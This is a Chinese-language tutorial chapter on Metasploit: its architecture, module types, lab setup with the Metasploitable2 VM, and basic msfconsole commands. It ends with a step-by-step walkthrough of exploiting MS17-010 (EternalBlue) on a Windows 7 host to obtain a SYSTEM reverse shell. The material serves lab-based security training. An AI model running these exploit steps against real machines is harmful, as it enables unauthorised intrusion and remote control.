7. Metasploit 渗透测试框架的基本使用
7.1 Metasploit 测试框架
7.1.1 Metasploit 简介
Metasploit 是一个渗透测试平台,使您能够查找,利用和验证漏洞,该平台包括 Metasploit 框架及其商业对手,如 Metasploit Pro。
Metasploit 是一个免费的、可下载的框架,通过它可以很容易对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
Metasploit 的设计初衷是打造成一个攻击工具开发平台。
官网 https://www.metasploit.com/
7.1.2 Metasploit 体系框架
1.基础库: metasploit 基础库文件位于源码根目录路径下的 libraries 目录中,包括 Rex,framework-core 和 framework-base 三部分。
Rex 是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgreSQL 以及 MySQL 数据库支持等;
framework-core 库负责实现所有与各种类型的上层模块及插件的交互接口;
framework-base 库扩展了 framework-core,提供更加简单的包装例程,并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块。
2.模块:模块组织按照不同的用途分6种类型的模块(Modules):
分为辅助模块(AUX)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击荷载模块(payloads)、编码器模块(Encoders)、空指令模块(Nops)。
[注] payload 又称为攻击荷载,主要用于建立目标机与攻击机稳定链接,可返回 shell,也可以进行程序注入等。
3.插件:插件能够扩充框架的功能,或者组装已有的功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如 Nessus、OpenVAS 漏洞扫描器等,为用户接口提供一些新的功能。
4.接口:包括 msfconsole 控制终端、msfcli 命令行、msfgui 图形化界面、armitage 图形化界面以及 msfapi 远程调用接口。
5.功能程序:metasploit 还提供了一系列可以直接运行的功能程序,支持渗透测试者与安全人员快速地利用 metasploit 框架内部能力完成一些特定任务。比如 msfpayload、msfencode 和 msfvenom 可以将攻击载荷封装为可执行文件、C语言、JavaScript 语言等多种形式,并可以进行各种类型的编码。
7.1.3 Metasploit 目录结构
# /usr/share/metasploit-framework
# ls
// data:Metasploit 使用的可编辑文件
documentation:为框架提供文档
lib:框架代码库
modules:实际的MSF模块
plugins:可以在运行时加载的插件
scripts:Meterpreter和其他脚本
tools:各种有用的命令行工具
7.2 Metasploitable2-Linux 靶机系统介绍
7.2.1 Metasploitable2-Linux 靶机介绍
Metasploitable2 虚拟系统是一个特别制作的 Ubuntu 操作系统,本身设计作为安全工具测试和演示常见的漏洞攻击。
下载官网 https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
7.2.2 Metasploitable2 安装
先解压 –> 打开VMware –> 【打开虚拟机】–> 选择文件 –> 【我已复制该虚拟机】 –> 使用普通用户(用户:msfadmin 密码:msfadmin)登录
-- 修改用户密码
$ sudo passwd 用户名
-- 切换至root
$ su root
Password:218853
-- 配置网络(静态IP)
# vim /etc/network/interfaces
-----------
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 192.168.1.180
netmask 255.255.255.0
gateway 192.168.1.1
-----------
-- 重置网络
# /etc/init.d/networking restart
-- 一定要将初始环境做快照!!!
7.3 Metasploit 基本使用方法
Meetasploit 程序需要用 Postgresql 数据库。
Postgresql 概述
PostgreSQL 是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),是以加州大学计算机系开发的 POSTGRES 4.2 版本为基础的对象关系型数据库管理系统。
官网 https://www.postgresql.org/
Kali已集成Postgresql数据库环境。
Postgresql是世界上最先进的开源关系数据库(Relational 关系型)
-- 启动Postgresql服务
# systemctl start postgresql
-- 设置Postgresql开机自启动
# systemctl enable postgresql
-- 使用Postgresql
应用程序: 08-漏洞利用工具集 --> metasploit framework
终 端:# msfconsole
-- 帮助命令
# help
// Core Commands 核心命令(*)
Module Commands 模块命令(*)
Job Commands 后台任务命令(*)
Resource Script Commands 资源脚本命令
Database Script Commands 数据库后端命令
Credentials Backend Commands 证书/凭证后端命令
Developer Commands 开发人员命令
常用命令
-- 1.核心命令中的connect命令
connect命令主要用于远程连接主机。一般用于内网渗透。
> connect xxxx.cn 80 //连接目标80端口
[*]Connected to xxxx.cn:80 //返回此信息即为连接成功
get / //提交一个get请求,可以查看到服务器版本
-- 2.模块相关的show命令
show命令的有效参数是:all,encoders,nops,exploits,payloads,auxiliary,post,plugins,info,options。
- 例1.列出metasploit框架中所有渗透攻击模块exploits。
> show exploits
- 例2.列出metasploit框架中的所有攻击载荷
> show payloads
- 例3.列出metasploit框架中的所有辅助攻击载荷
> show auxiliary
-- 3.模块相关搜索search命令(有效解决show命令耗时长的问题)
> search 服务模块名称(如mysql)
> search 漏洞(如ms08_067)
- 通过名字nmae查找
> search nmae:服务模块名称
.....(返回内容 name:服务名称,Disclosure Date:发布日期,Rank:等级,Check:检查是否可以被利用,Description:描述说明)
- 通过路径path查找
> search path:服务模块名称
- 通过platform缩小查找范围(查找结果rank等级一般都较高)
> seach platform:服务模块名称
[注] platform 平台
-- 3.1通过类型进行查找
这里要使用到type命令
type:特定类型的模块(exploit,paylooad,auxiliary,encoder,evasion,post,or nop)
> search type:服务模块名称
[exploit] 渗透攻击模块
[auxiliary] 辅助攻击模块
-- 3.2联合查找
例> seach type:exploit name:mysql
-- 3.3根据CVE搜索exploit相关模块
> search cve:CVE-2017-8464
- 例:查看2021年Linux相关的漏洞模块
> search cve:2021 name:linux
[注] Rank
每一个漏洞利用模块基于它们对目标系统的潜在影响都被标记了一个Rank字段
每个用户可以基于Rank对漏洞利用模块进行搜索、分类及排序。
Rank 按照可靠性降序排列:
excellent:漏洞利用程序绝不会使目标服务器崩溃,就像SQL注入、命令执行、远程文件包含、本地文件包含等等。除非有特殊情况(典型的内存破坏利用程序不可被评为该级别)。
great:该漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统 ,或者在目标服务的版本检查之后可以返回到一个特定的返回地址。
good:该漏洞利用程序有一个默认目标系统,并且是这种类型软件的“常见情况”(桌面应用程序的Windows7,服务器的2012等)
normal 该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能可靠的自动检测。
average 该漏洞利用程序不可靠或者难以利用。
low 对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于50%的利用成功率)。
manual 该漏洞利用程序不稳定或者难以利用并且基于拒绝服务(DOS)。如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级。
[注] CVE 概述
Common Vulnerabilites & Exposure 公共漏洞和暴露。CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。使用一个共同的名字,可以帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据,虽然这些工具很难整合到一起。这样就使得CVE成为了安全信息共享的“关键字”。如果在一个漏洞报告中指明一个漏洞,如又CVE名称,就可以快速的在任何其他CVE兼容的数据库中找到相应的修补信息,解决安全问题。
Vulnerabilites 脆弱性;弱点。 Exposure 暴露;曝光
【扩】 2017年在 GitHub 上公开了 CVE-2017-8464 漏洞的 metasploit-framework 利用模块。利用此模块在 Windows 10 x64(Build 14393)版本上测试有效。
-- 4.模块相关的命令 use
【背景】2008年微软爆出ms08_067漏洞,如果用户在受影响的系统上收到特制的RPC请求,则该漏洞可能允许远程执行代码。在MicrosoftWindows2000、WindowsXP、WindowsServer2003系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。
- 1.先查找出自己想要的ms08_067漏洞模块
> search ms08_067
- 2.装载一个渗透攻击模块
> use 模块名称
//使用use装载模块后我们的bash提示符会变成对应的模块信息。稍后可以使用这个模块进行攻击。
> back //退出当前模块
-- 4.模块相关的命令 info
info 显示模块的相关信息
- 方法1:> info 模块名称
例:> info exploit/windows/smb/ms08_067_netapi
- 方法2:> use装载模块后直接使用info
-- 设置RHOSTS参数,指定攻击目标机器
> set RHOSTS xxx.xxx.xxx.xxx
-- 查看设置的值
> show options
--输入exploit或run执行
> exploit
> run
[注] 不能使用exit,否则会直接退出Metasploit程序
7.4 使用 msf 渗透攻击Win7主机并远程执行命令
7.4.1 实验环境
永恒之蓝: 永恒之蓝是指 2017 年 4 月 14日晚,黑客团体 Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含 ”永恒之蓝“ 工具,“永恒之蓝”利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。5 月 12 日,不法分子通过改造 “永恒之蓝” 制作了 wannacry 勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
Windows 系统的 SMB 用于文件共享(445端口:文件共享协议)。
官方描述 https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010
永恒之蓝相关病毒利用了微软的 MS17-010 漏洞。MS7-010 是 Windows 系统一个底层服务的漏洞,恶意代码会扫描开放 445 文件共享端口的 Windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
7.4.2 通过 msf 模块获取 Win7 主机远程 shell
- 1.扫描是否存在 ms17-010漏洞
# msfconsole //打开漏洞利用工具
> search ms17-010 //查找漏洞相关模块(auxiliary用于辅助扫描exploit用作攻击)
> use 模块名称 //装载一个辅助模块(例如.../scanner/...)
> show options //查看需要配置哪些参数(required为是否必须设置,端口默认445)
> set RHOSTS xxx.xxx.xxx.xxx //设置目标主机
> run //执行成功显示[+]说明存在该漏洞
> back //退出模块
- 2.存在漏洞,配置参数,实施攻击
> search ms17-010 //查找漏洞模块(永恒之蓝eternalblue)
> use ... //使用永恒之蓝攻击模块
> show options //查看需要配置哪些参数(required为是否必须设置,端口默认445)
> set RHOSTS xxx.xxx.xxx.xxx //设置目标主机
> show targets //用于查看可复现的操作系统
> show payloads //显示所有的攻击载荷(建议使用search查找)
> search windows/x64/shell //查找适用的攻击载荷
> set payload ... //配置攻击载荷(Windows/x64/shell/reverse_tcp)
> show options //查看配置(LHOST本地主机 LPORT本地端口,4444为监听端口,用于监听反弹shell)
> set LHOST xxx.xxx.xxx.xxx //配置本地主机
> show options //查看配置,再次确认是否修改成功
> run //显示=-WIN-=执行成功(按回车进入Windows命令行)
- 3.远程执行命令
system/> chcp 65001 //解决Linux显示Windows命令时出现乱码
system/> whoami //我是谁,查看当前权限(最高权限system)
system/> [Ctrl] + C //断开会话
- 4.扩展操作
> exploit -j //建立会话成功后保存到后台
> sessions //查看会话保存记录
> sessions -i 会话id //进入会话
system/> background //将会话保存到后台(退出但不断开)
> sessions -k 会话id //删除对应id的会话保存记录
> sessions -h //查看sessions相关帮助
总结:使用 metasploit 攻击的步骤
1.查找 CVE 公布的漏洞
2.查找对应的 exploit 模块
3.配置模块参数
4.添加 payload 后门
5.执行 run 或 exploit 开始攻击